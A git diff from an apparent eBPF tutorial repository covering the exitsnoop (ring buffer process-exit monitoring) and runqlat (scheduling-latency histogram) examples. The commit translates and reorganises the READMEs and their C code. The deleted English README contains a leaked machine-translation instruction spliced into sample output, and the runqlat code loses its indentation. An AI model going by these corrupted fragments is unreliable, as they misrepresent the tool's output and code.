-为了更好地理解和实践 eBPF 编程,我们建议您阅读 eunomia-bpf 的官方文档: 。此外,我们还为您提供了完整的教程和源代码,您可以在 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发,并为您的进一步学习和实践提供有益的参考。 +To better understand and practice eBPF programming, we recommend reading the official documentation of eunomia-bpf at: . Additionally, we provide a complete tutorial and source code for you to view and learn from at . We hope this tutorial helps you get started with eBPF development and provides useful references for your further learning and practice. diff --git a/src/8-exitsnoop/README.zh.md b/src/8-exitsnoop/README.zh.md new file mode 100644 index 00000000..c7fa4b3f --- /dev/null +++ b/src/8-exitsnoop/README.zh.md @@ -0,0 +1,156 @@ +# eBPF 入门开发实践教程八:在 eBPF 中使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出 + +eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 + +本文是 eBPF 入门开发实践教程的第八篇,在 eBPF 中使用 exitsnoop 监控进程退出事件。 + +## ring buffer + +现在有一个新的 BPF 数据结构可用,eBPF 环形缓冲区(ring buffer)。它解决了 BPF perf buffer(当今从内核向用户空间发送数据的事实上的标准)的内存效率和事件重排问题,同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移,又有新的保留/提交API,具有更好的可用性。另外,合成和真实世界的基准测试表明,在几乎所有的情况下,所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。 + +### eBPF ringbuf vs eBPF perfbuf + +只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录,它通常会使用 BPF perf buffer(perfbuf)来实现。Perfbuf 是每个CPU循环缓冲区的集合,它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好,但由于其按CPU设计,它有两个主要的缺点,在实践中被证明是不方便的:内存的低效使用和事件的重新排序。 + +为了解决这些问题,从Linux 5.8开始,BPF提供了一个新的BPF数据结构(BPF map)。BPF环形缓冲区(ringbuf)。它是一个多生产者、单消费者(MPSC)队列,可以同时在多个CPU上安全共享。 + +BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: + +- 变长的数据记录。 +- 能够通过内存映射区域有效地从用户空间读取数据,而不需要额外的内存拷贝和/或进入内核的系统调用。 +- 既支持epoll通知,又能以绝对最小的延迟进行忙环操作。 + +同时,BPF ringbuf解决了BPF perfbuf的以下问题: + +- 内存开销。 +- 数据排序。 +- 浪费的工作和额外的数据复制。 + +## exitsnoop + +本文是 eBPF 入门开发实践教程的第八篇,在 eBPF 中使用 exitsnoop 监控进程退出事件,并使用 ring buffer 向用户态打印输出。 + +使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似,首先需要定义一个头文件: + +头文件:exitsnoop.h + +```c +#ifndef __BOOTSTRAP_H +#define __BOOTSTRAP_H + +#define TASK_COMM_LEN 16 +#define MAX_FILENAME_LEN 127 + +struct event { + int pid; + int ppid; + unsigned exit_code; + unsigned long long duration_ns; + char comm[TASK_COMM_LEN]; +}; + +#endif /* __BOOTSTRAP_H */ +``` + +源文件:exitsnoop.bpf.c + +```c +#include "vmlinux.h" +#include +#include +#include +#include "exitsnoop.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +SEC("tp/sched/sched_process_exit") +int handle_exit(struct trace_event_raw_sched_process_template* ctx) +{ + struct task_struct *task; + struct event *e; + pid_t pid, tid; + u64 id, ts, *start_ts, start_time = 0; + + /* get PID and TID of exiting thread/process */ + id = bpf_get_current_pid_tgid(); + pid = id >> 32; + tid = (u32)id; + + /* ignore thread exits */ + if (pid != tid) + return 0; + + /* reserve sample from BPF ringbuf */ + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) + return 0; + + /* fill out the sample with data */ + task = (struct task_struct *)bpf_get_current_task(); + start_time = BPF_CORE_READ(task, start_time); + + e->duration_ns = bpf_ktime_get_ns() - start_time; + e->pid = pid; + e->ppid = BPF_CORE_READ(task, real_parent, tgid); + e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + + /* send data to user-space for post-processing */ + bpf_ringbuf_submit(e, 0); + return 0; +} +``` + +这段代码展示了 ring buffer 的 reserve/submit 模式,这是一种高效的数据传输方式。 + +让我们看看它如何工作。我们首先定义了一个 `BPF_MAP_TYPE_RINGBUF` 类型的 map,大小为 256KB。这个环形缓冲区是所有 CPU 共享的,解决了 perf buffer 每个 CPU 单独缓冲区导致的内存浪费问题。 + +在 `handle_exit` 函数中,我们使用了 reserve/submit 模式。首先用 `bpf_ringbuf_reserve` 在 ring buffer 中预留空间——这会返回一个指向预留内存的指针。然后我们直接在这块内存中填充数据:计算进程运行时长(当前时间减去启动时间)、读取 PID、PPID、退出代码和进程名。最后用 `bpf_ringbuf_submit` 提交数据到用户空间。 + +这种模式的优势是避免了额外的内存拷贝,我们直接在 ring buffer 中写入数据,而不是先在栈上构建然后再拷贝。注意我们只关心进程退出(PID == TID),忽略了线程退出事件。 + +## Compile and Run + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。 + +Compile: + +```shell +docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest +``` + +Or + +```console +$ ecc exitsnoop.bpf.c exitsnoop.h +Compiling bpf object... +Generating export types... +Packing ebpf object and config into package.json... +``` + +Run: + +```console +$ sudo ./ecli run package.json +TIME PID PPID EXIT_CODE DURATION_NS COMM +21:40:09 42050 42049 0 0 which +21:40:09 42049 3517 0 0 sh +21:40:09 42052 42051 0 0 ps +21:40:09 42051 3517 0 0 sh +21:40:09 42055 42054 0 0 sed +21:40:09 42056 42054 0 0 cat +21:40:09 42057 42054 0 0 cat +21:40:09 42058 42054 0 0 cat +21:40:09 42059 42054 0 0 cat +``` + +## 总结 + +本文介绍了如何使用 ring buffer 监控 Linux 系统中的进程退出事件。ring buffer 相比 perf buffer 有更好的内存效率和性能,应该作为从内核向用户空间发送数据的首选。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/8-exitsnoop/README_en.md b/src/8-exitsnoop/README_en.md deleted file mode 100644 index 40daf8c3..00000000 --- a/src/8-exitsnoop/README_en.md +++ /dev/null @@ -1,162 +0,0 @@ -# eBPF Tutorial by Example 8: Monitoring Process Exit Events, Output with Ring Buffer - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code at runtime in the kernel. - -This article is the eighth part of the eBPF Tutorial by Example, focusing on monitoring process exit events with eBPF. - -## Ring Buffer - -There is now a new BPF data structure available called the eBPF ring buffer. It solves the memory efficiency and event reordering issues of the BPF perf buffer, which is currently the de facto standard for sending data from the kernel to user space. It provides compatibility with perf buffer for easy migration while also introducing new reserved/commit APIs for improved usability. Additionally, synthetic and real-world benchmark tests have shown that in nearly all cases, the eBPF ring buffer should be the default choice for sending data from BPF programs to user space. - -### eBPF Ring Buffer vs eBPF Perf Buffer - -Whenever a BPF program needs to send collected data to user space for post-processing and logging, it typically uses the BPF perf buffer (perfbuf). Perfbuf is a collection of per-CPU circular buffers that allow efficient data exchange between the kernel and user space. It works well in practice, but it has two main drawbacks that have proven to be inconvenient: inefficient memory usage and event reordering. - -To address these issues, starting from Linux 5.8, BPF introduces a new BPF data structure called BPF ring buffer. It is a multiple producer, single consumer (MPSC) queue that can be safely shared across multiple CPUs. - -The BPF ring buffer supports familiar features from BPF perf buffer: - -- Variable-length data records. -- Efficient reading of data from user space through memory-mapped regions without additional memory copies and/or entering kernel system calls. -- Support for epoll notifications and busy loop operations with absolute minimal latency. - -At the same time, the BPF ring buffer solves the following problems of the BPF perf buffer: - -- Memory overhead. -- Data ordering. -- Unnecessary work and additional data copying. - -## exitsnoop - -This article is the eighth part of the eBPF Tutorial by Example, focusing on monitoring process exit events with eBPF and using the ring buffer to print output to user space. - -The steps for printing output to user space using the ring buffer are similar to perf buffer. First, a header file needs to be defined: - -Header File: exitsnoop.h - -```c -#ifndef __BOOTSTRAP_H -#define __BOOTSTRAP_H - -#define TASK_COMM_LEN 16 -#define MAX_FILENAME_LEN 127 - -struct event { - int pid; - int ppid; - unsigned exit_code; - unsigned long long duration_ns; - char comm[TASK_COMM_LEN]; -}; - -#endif /* __BOOTSTRAP_H */ -``` - -Source File: exitsnoop.bpf.c - -```c -#include "vmlinux.h" -#include -#include -#include -#include "exitsnoop.h" - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -struct { - __uint(type, BPF_MAP_TYPE_RINGBUF); - __uint(max_entries, 256 * 1024); -} rb SEC(".maps"); - -SEC("tp/sched/sched_process_exit") -int handle_exit(struct trace_event_raw_sched_process_template* ctx) -{ - struct task_struct *task; - struct event *e; - pid_t pid, tid; - u64 id, ts, *start_ts, start_time = 0; - - /* get PID and TID of exiting thread/process */ - id = bpf_get_current_pid_tgid(); - pid = id >> 32; - tid = (u32)id; - - /* ignore thread exits */ - if (pid != tid) - return 0; - - /* reserve sample from BPF ringbuf */ - e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); - if (!e) - return 0; - - /* fill out the sample with data */ - task = (struct task_struct *)bpf_get_current_task(); - start_time = BPF_CORE_READ(task, start_time); - - e->duration_ns = bpf_ktime_get_ns() - start_time; - e->pid = pid; - e->ppid = BPF_CORE_READ(task, real_parent, tgid); - e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; - bpf_get_current_comm(&e->comm, sizeof(e->comm)); - - /* send data to user-space for post-processing */ - bpf_ringbuf_submit(e, 0); - return 0; -} -``` - -This code demonstrates how to monitor process exit events using exitsnoop and print output to user space using a ring buffer: - -1. First, we include the required headers and exitsnoop.h. -2. We define a global variable named "LICENSE" with the content "Dual BSD/GPL", which is the license requirement for eBPF programs. -3. We define a mapping named rb of type BPF_MAP_TYPE_RINGBUF, which will be used to transfer data from kernel space to user space. We specify max_entries as 256 * 1024, representing the maximum capacity of the ring buffer. -4. We define an eBPF program named handle_exit, which will be executed when a process exit event is triggered. It takes a trace_event_raw_sched_process_template struct pointer named ctx as the parameter. -5. We use the bpf_get_current_pid_tgid() function to obtain the PID and TID of the current task. For the main thread, the PID and TID are the same; for child threads, they are different. Since we only care about the exit of the process (main thread), we return 0 if the PID and TID are different, ignoring the exit events of child threads. -6. We use the bpf_ringbuf_reserve function to reserve space for the event struct e in the ring buffer. If the reservation fails, we return 0. -7. We use the bpf_get_current_task() function to obtain a task_struct structure pointer for the current task. -8. We fill in the process-related information into the reserved event struct e, including the duration of the process, PID, PPID, exit code, and process name. -9. Finally, we use the bpf_ringbuf_submit function to submit the filled event struct e to the ring buffer, for further processing and output in user space. - -This example demonstrates how to capture process exit events using exitsnoop and a ring buffer in an eBPF program, and transfer relevant information to user space. This is useful for analyzing process exit reasons and monitoring system behavior. - -## Compile and Run - -eunomia-bpf is an open-source eBPF dynamic loading runtime and development toolchain that combines with Wasm. Its purpose is to simplify the development, build, distribution, and execution of eBPF programs. You can refer to to download and install the ecc compiler toolchain and ecli runtime. We will use eunomia-bpf to compile and run this example. - -Compile: - -```shell -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -Or - -```console -$ ecc exitsnoop.bpf.c exitsnoop.h -Compiling bpf object... -Generating export types... -Packing ebpf object and config into package.json... -``` - -Run: - -```console -$ sudo ./ecli run package.json -TIME PID PPID EXIT_CODE DURATION_NS COMM". -format: Return only the translated content, not including the original text.21:40:09 42050 42049 0 0 which -21:40:09 42049 3517 0 0 sh -21:40:09 42052 42051 0 0 ps -21:40:09 42051 3517 0 0 sh -21:40:09 42055 42054 0 0 sed -21:40:09 42056 42054 0 0 cat -21:40:09 42057 42054 0 0 cat -21:40:09 42058 42054 0 0 cat -21:40:09 42059 42054 0 0 cat -``` - -## Summary - -This article introduces how to develop a simple BPF program using eunomia-bpf that can monitor process exit events in a Linux system and send the captured events to user space programs via a ring buffer. In this article, we compiled and ran this example using eunomia-bpf. - -To better understand and practice eBPF programming, we recommend reading the official documentation of eunomia-bpf at: . Additionally, we provide a complete tutorial and source code for you to view and learn from at . We hope this tutorial helps you get started with eBPF development and provides useful references for your further learning and practice. diff --git a/src/9-runqlat/.config b/src/9-runqlat/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/9-runqlat/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/9-runqlat/README.md b/src/9-runqlat/README.md index 812b1f72..ffd33779 100755 --- a/src/9-runqlat/README.md +++ b/src/9-runqlat/README.md @@ -1,32 +1,32 @@ -# eBPF 入门开发实践教程九:捕获进程调度延迟,以直方图方式记录 +# eBPF Tutorial by Example 9: Capturing Scheduling Latency and Recording as Histogram -eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code at runtime. -runqlat 是一个 eBPF 工具,用于分析 Linux 系统的调度性能。具体来说,runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。 +runqlat is an eBPF tool used for analyzing the scheduling performance of the Linux system. Specifically, runqlat is used to measure the time a task waits in the run queue before being scheduled to run on a CPU. This information is very useful for identifying performance bottlenecks and improving the overall efficiency of the Linux kernel scheduling algorithm. -## runqlat 原理 +## runqlat Principle -本教程是 eBPF 入门开发实践系列的第九部分,主题是 "捕获进程调度延迟"。在此,我们将介绍一个名为 runqlat 的程序,其作用是以直方图的形式记录进程调度延迟。 +This tutorial is the ninth part of the eBPF beginner's development series, with the topic "Capturing Process Scheduling Latency". Here, we will introduce a program called runqlat, which records process scheduling latency as a histogram. -Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行,或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 +The Linux operating system uses processes to execute all system and user tasks. These processes can be blocked, killed, running, or waiting to run. The number of processes in the latter two states determines the length of the CPU run queue. -进程有几种可能的状态,如: +Processes can have several possible states, such as: -- 可运行或正在运行 -- 可中断睡眠 -- 不可中断睡眠 -- 停止 -- 僵尸进程 +- Runnable or running +- Interruptible sleep +- Uninterruptible sleep +- Stopped +- Zombie process -等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态:进程被置入睡眠状态,直到它需要的资源变得可用。然后,根据睡眠的类型,进程可以转移到可运行状态,或者保持睡眠。 +Processes waiting for resources or other function signals are in the interruptible or uninterruptible sleep state: the process is put to sleep until the resource it needs becomes available. Then, depending on the type of sleep, the process can transition to the runnable state or remain asleep. -即使进程拥有它需要的所有资源,它也不会立即开始运行。它会转移到可运行状态,与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程,并决定下一个要执行的进程。 +Even when a process has all the resources it needs, it does not start running immediately. It transitions to the runnable state and is queued together with other processes in the same state. The CPU can execute these processes in the next few seconds or milliseconds. The scheduler arranges the processes for the CPU and determines the next process to run. -根据系统的硬件配置,这个可运行队列(称为 CPU 运行队列)的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面,如果运行队列长,那么可能意味着 CPU 不够强大,无法执行所有的进程,或者 CPU 的核心数量不足。在理想的 CPU 利用率下,运行队列的长度将等于系统中的核心数量。 +Depending on the hardware configuration of the system, the length of this runnable queue (known as the CPU run queue) can be short or long. A short run queue length indicates that the CPU is not being fully utilized. On the other hand, if the run queue is long, it may mean that the CPU is not powerful enough to handle all the processes or that the number of CPU cores is insufficient. In an ideal CPU utilization, the length of the run queue will be equal to the number of cores in the system. -进程调度延迟,也被称为 "run queue latency",是衡量线程从变得可运行(例如,接收到中断,促使其处理更多工作)到实际在 CPU 上运行的时间。在 CPU 饱和的情况下,你可以想象线程必须等待其轮次。但在其他奇特的场景中,这也可能发生,而且在某些情况下,它可以通过调优减少,从而提高整个系统的性能。 +Process scheduling latency, also known as "run queue latency," is the time it takes for a thread to go from becoming runnable (e.g., receiving an interrupt that prompts it to do more work) to actually running on the CPU. In the case of CPU saturation, you can imagine that the thread has to wait for its turn. But in other peculiar scenarios, this can also happen, and in some cases, it can be reduced by tuning to improve the overall system performance. -我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统: +We will illustrate how to use the runqlat tool through an example. This is a heavily loaded system: ```shell # runqlat @@ -44,24 +44,13 @@ Tracing run queue latency... Hit Ctrl-C to end. 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | - 2048 -> 4095 : 30 |* | - 4096 -> 8191 : 20 | | - 8192 -> 16383 : 29 |* | - 16384 -> 32767 : 809 |****************************************| - 32768 -> 65535 : 64 |*** | ``` -在这个输出中,我们看到了一个双模分布,一个模在0到15微秒之间,另一个模在16到65毫秒之间。这些模式在分布(它仅仅是 "count" 列的视觉表示)中显示为尖峰。例如,读取一行:在追踪过程中,809个事件落入了16384到32767微秒的范围(16到32毫秒)。 - -在后续的教程中,我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析,以更好地理解和优化系统性能。同时,我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 - -runqlat 的实现利用了 eBPF 程序,它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时,trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时,handle_switch 函数会检索时间戳,并计算当前时间与排队时间之间的时间差。这个差值(或 delta)被用于更新进程的直方图,该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。 - -## runqlat 代码实现 +## runqlat Code Implementation ### runqlat.bpf.c -首先我们需要编写一个源代码文件 runqlat.bpf.c: +First, we need to write a source code file `runqlat.bpf.c`: ```c // SPDX-License-Identifier: GPL-2.0 @@ -111,84 +100,84 @@ struct { static int trace_enqueue(u32 tgid, u32 pid) { - u64 ts; +u64 ts; - if (!pid) +if (!pid) return 0; - if (targ_tgid && targ_tgid != tgid) +if (targ_tgid && targ_tgid != tgid) return 0; - ts = bpf_ktime_get_ns(); - bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); - return 0; +ts = bpf_ktime_get_ns(); +bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); +return 0; } static unsigned int pid_namespace(struct task_struct *task) { - struct pid *pid; - unsigned int level; - struct upid upid; - unsigned int inum; - - /* get the pid namespace by following task_active_pid_ns(), - * pid->numbers[pid->level].ns - */ - pid = BPF_CORE_READ(task, thread_pid); - level = BPF_CORE_READ(pid, level); - bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); - inum = BPF_CORE_READ(upid.ns, ns.inum); - - return inum; +struct pid *pid; +unsigned int level; +struct upid upid; +unsigned int inum; + +/* get the pid namespace by following task_active_pid_ns(), + * pid->numbers[pid->level].ns + */ +pid = BPF_CORE_READ(task, thread_pid); +level = BPF_CORE_READ(pid, level); +bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); +inum = BPF_CORE_READ(upid.ns, ns.inum); + +return inum; } static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next) { - struct hist *histp; - u64 *tsp, slot; - u32 pid, hkey; - s64 delta; +struct hist *histp; +u64 *tsp, slot; +u32 pid, hkey; +s64 delta; - if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) +if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; - if (get_task_state(prev) == TASK_RUNNING) +if (get_task_state(prev) == TASK_RUNNING) trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); - pid = BPF_CORE_READ(next, pid); +pid = BPF_CORE_READ(next, pid); - tsp = bpf_map_lookup_elem(&start, &pid); - if (!tsp) +tsp = bpf_map_lookup_elem(&start, &pid); +if (!tsp) return 0; - delta = bpf_ktime_get_ns() - *tsp; - if (delta < 0) +delta = bpf_ktime_get_ns() - *tsp; +if (delta < 0) goto cleanup; - if (targ_per_process) +if (targ_per_process) hkey = BPF_CORE_READ(next, tgid); - else if (targ_per_thread) +else if (targ_per_thread) hkey = pid; - else if (targ_per_pidns) +else if (targ_per_pidns) hkey = pid_namespace(next); - else +else hkey = -1; - histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); - if (!histp) +histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); +if (!histp) goto cleanup; - if (!histp->comm[0]) +if (!histp->comm[0]) bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), next->comm); - if (targ_ms) +if (targ_ms) delta /= 1000000U; - else +else delta /= 1000U; - slot = log2l(delta); - if (slot >= MAX_SLOTS) +slot = log2l(delta); +if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; - __sync_fetch_and_add(&histp->slots[slot], 1); +__sync_fetch_and_add(&histp->slots[slot], 1); cleanup: - bpf_map_delete_elem(&start, &pid); - return 0; +bpf_map_delete_elem(&start, &pid); +return 0; } SEC("raw_tp/sched_wakeup") @@ -218,7 +207,9 @@ int BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct char LICENSE[] SEC("license") = "GPL"; ``` -这其中定义了一些常量和全局变量,用于过滤对应的追踪目标: +#### Constants and Global Variables + +The code defines several constants and volatile global variables used for filtering corresponding tracing targets. These variables include: ```c #define MAX_ENTRIES 10240 @@ -232,9 +223,13 @@ const volatile bool targ_ms = false; const volatile pid_t targ_tgid = 0; ``` -这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置,以定制 eBPF 程序的行为。 +- `MAX_ENTRIES`: The maximum number of map entries. +- `TASK_RUNNING`: The task status value. +- `filter_cg`, `targ_per_process`, `targ_per_thread`, `targ_per_pidns`, `targ_ms`, `targ_tgid`: Boolean variables for filtering and target options. These options can be set by user-space programs to customize the behavior of the eBPF program. + +#### eBPF Maps -接下来,定义了一些 eBPF 映射: +The code defines several eBPF maps including: ```c struct { @@ -261,15 +256,15 @@ struct { } hists SEC(".maps"); ``` -这些映射包括: +- `cgroup_map`: A cgroup array map used for filtering cgroups. +- `start`: A hash map used to store timestamps when processes are enqueued. +- `hists`: A hash map used to store histogram data for recording process scheduling delays. -- cgroup_map 用于过滤 cgroup; -- start 用于存储进程入队时的时间戳; -- hists 用于存储直方图数据,记录进程调度延迟。 +#### Helper Functions -接下来是一些辅助函数: +The code includes two helper functions: -trace_enqueue 函数用于在进程入队时记录其时间戳: +- `trace_enqueue`: This function is used to record the timestamp when a process is enqueued. It takes the `tgid` and `pid` values as parameters. If the `pid` value is 0 or the `targ_tgid` value is not 0 and not equal to `tgid`, the function returns 0. Otherwise, it retrieves the current timestamp using `bpf_ktime_get_ns` and updates the `start` map with the `pid` key and the timestamp value. ```c static int trace_enqueue(u32 tgid, u32 pid) @@ -287,7 +282,7 @@ static int trace_enqueue(u32 tgid, u32 pid) } ``` -pid_namespace 函数用于获取进程所属的 PID namespace: +- `pid_namespace`: This function is used to get the PID namespace of a process. It takes a `task_struct` pointer as a parameter and returns the PID namespace of the process. The function retrieves the PID namespace by following `task_active_pid_ns()` and `pid->numbers[pid->level].ns`. ```c static unsigned int pid_namespace(struct task_struct *task) @@ -309,7 +304,7 @@ static unsigned int pid_namespace(struct task_struct *task) } ``` -handle_switch 函数是核心部分,用于处理调度切换事件,计算进程调度延迟并更新直方图数据: +The `handle_switch` function is the core part, used to handle scheduling switch events, calculate process scheduling latency, and update histogram data: ```c static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next) @@ -318,27 +313,27 @@ static int handle_switch(bool preempt, struct task_struct *prev, struct task_str } ``` -首先,函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后,如果之前的进程状态为 TASK_RUNNING,则调用 trace_enqueue 函数记录进程的入队时间。接着,函数查找下一个进程的入队时间戳,如果找不到,直接返回。计算调度延迟(delta),并根据不同的选项设置(targ_per_process,targ_per_thread,targ_per_pidns),确定直方图映射的键(hkey)。然后查找或初始化直方图映射,更新直方图数据,最后删除进程的入队时间戳记录。 +Firstly, the function determines whether to filter cgroup based on the setting of `filter_cg`. Then, if the previous process state is `TASK_RUNNING`, the `trace_enqueue` function is called to record the enqueue time of the process. Then, the function looks up the enqueue timestamp of the next process. If it is not found, it returns directly. The scheduling latency (delta) is calculated, and the key for the histogram map (hkey) is determined based on different options (targ_per_process, targ_per_thread, targ_per_pidns). Then, the histogram map is looked up or initialized, and the histogram data is updated. Finally, the enqueue timestamp record of the process is deleted. -接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件: +Next is the entry point of the eBPF program. The program uses three entry points to capture different scheduling events: -- handle_sched_wakeup:用于处理 sched_wakeup 事件,当一个进程从睡眠状态被唤醒时触发。 -- handle_sched_wakeup_new:用于处理 sched_wakeup_new 事件,当一个新创建的进程被唤醒时触发。 -- handle_sched_switch:用于处理 sched_switch 事件,当调度器选择一个新的进程运行时触发。 +- `handle_sched_wakeup`: Used to handle the `sched_wakeup` event triggered when a process is woken up from sleep state. +- `handle_sched_wakeup_new`: Used to handle the `sched_wakeup_new` event triggered when a newly created process is woken up. +- `handle_sched_switch`: Used to handle the `sched_switch` event triggered when the scheduler selects a new process to run. -这些入口点分别处理不同的调度事件,但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 +These entry points handle different scheduling events, but all call the `handle_switch` function to calculate the scheduling latency of the process and update the histogram data. -最后,程序包含一个许可证声明: +Finally, the program includes a license declaration: ```c char LICENSE[] SEC("license") = "GPL"; ``` -这一声明指定了 eBPF 程序的许可证类型,这里使用的是 "GPL"。这对于许多内核功能是必需的,因为它们要求 eBPF 程序遵循 GPL 许可证。 +This declaration specifies the license type of the eBPF program, which is "GPL" in this case. This is required for many kernel features as they require eBPF programs to follow the GPL license. ### runqlat.h -然后我们需要定义一个头文件`runqlat.h`,用来给用户态处理从内核态上报的事件: +Next, we need to define a header file `runqlat.h` for handling events reported from kernel mode to user mode: ```c /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ @@ -349,16 +344,16 @@ char LICENSE[] SEC("license") = "GPL"; #define MAX_SLOTS 26 struct hist { - __u32 slots[MAX_SLOTS]; - char comm[TASK_COMM_LEN]; + __u32 slots[MAX_SLOTS]; + char comm[TASK_COMM_LEN]; }; #endif /* __RUNQLAT_H */ ``` -## 编译运行 +## Compilation and Execution -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 +We will use `eunomia-bpf` to compile and run this example. You can refer to to download and install the `ecc` compilation toolkit and `ecli` runtime. Compile: @@ -366,7 +361,7 @@ Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest ``` -或者 +or ```console $ ecc runqlat.bpf.c runqlat.h @@ -384,18 +379,15 @@ Usage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_pr A simple eBPF program Optional arguments: - -h, --help shows help message and exits - -v, --version prints version information and exits - --verbose prints libbpf debug information - --filter_cg set value of bool variable filter_cg - --targ_per_process set value of bool variable targ_per_process - --targ_per_thread set value of bool variable targ_per_thread - --targ_per_pidns set value of bool variable targ_per_pidns - --targ_ms set value of bool variable targ_ms - --targ_tgid set value of pid_t variable targ_tgid - -Built with eunomia-bpf framework. -See https://github.com/eunomia-bpf/eunomia-bpf for more information. +-h, --help shows help message and exits +-v, --version prints version information and exits +--verbose prints libbpf debug information +--filter_cg set value of bool variable filter_cg +--targ_per_process set value of bool variable targ_per_process +--targ_per_thread set value of bool variable targ_per_thread +--targ_per_pidns set value of bool variable targ_per_pidns +--targ_ms set value of bool variable targ_ms +--targ_tgid set value of pid_t variable targ_tgid $ sudo ecli run examples/bpftools/runqlat/package.json key = 4294967295 @@ -419,7 +411,7 @@ comm = rcu_preempt 16384 -> 32767 : 1 | | $ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process -key = 3189 +key = 3189 comm = cpptools (unit) : count distribution @@ -431,19 +423,20 @@ comm = cpptools 32 -> 63 : 11 |****************************************| 64 -> 127 : 8 |***************************** | 128 -> 255 : 3 |********** | + ``` -完整源代码请见: +Complete source code can be found at: -参考资料: +References: - - -## 总结 +## Summary -runqlat 是一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令。 +runqlat is a Linux kernel BPF program that summarizes scheduler run queue latency using a bar chart to show the length of time tasks wait to run on a CPU. To compile this program, you can use the `ecc` tool and to run it, you can use the `ecli` command. -runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间,并根据这些信息优化进程调度,提高系统的性能。可以在 libbpf-tools 中找到最初的源代码: +runqlat is a tool for monitoring process scheduling latency in the Linux kernel. It can help you understand the time processes spend waiting to run in the kernel and optimize process scheduling based on this information to improve system performance. The original source code can be found in libbpf-tools: -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. diff --git a/src/9-runqlat/README.zh.md b/src/9-runqlat/README.zh.md new file mode 100755 index 00000000..63f606a9 --- /dev/null +++ 